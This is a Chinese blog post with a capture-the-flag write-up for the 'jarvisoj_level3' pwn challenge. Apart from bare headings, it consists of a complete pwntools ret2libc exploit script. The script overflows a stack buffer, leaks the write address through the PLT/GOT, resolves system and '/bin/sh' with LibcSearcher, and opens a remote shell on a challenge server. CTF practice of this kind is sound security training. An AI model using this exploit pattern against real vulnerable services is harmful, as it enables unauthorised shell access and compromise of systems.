博客园 首页 私信博主 回到顶部 联系博主
(仅pc端)
管理 换背景图

jarvisoj_level3

一、查保护

二、代码审计

三、过程

传统rop

四、脚本

from pwn import *
from LibcSearcher import *

#context(os='linux', arch='amd64', log_level='debug')

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
sl=lambda x:io.sendline(x)

#io = process('./level3')
io=remote('node3.buuoj.cn',29961)
elf=ELF('./level3')

#gdb.attach(io)

payload='a'*0x88+"b"*4+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4)
sl(payload)
ru("Input:\n")
write=u32(io.recv(4))
print(hex(write))
libc=LibcSearcher('write',write)
base=write-libc.dump('write')
system=base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')
payload='a'*0x88+"b"*4+p32(system)+p32(0x10086110)+p32(binsh)
sl(payload)

io.interactive()
posted @ 2021-03-25 22:05  温一壶白开  阅读(342)  评论(3)    收藏  举报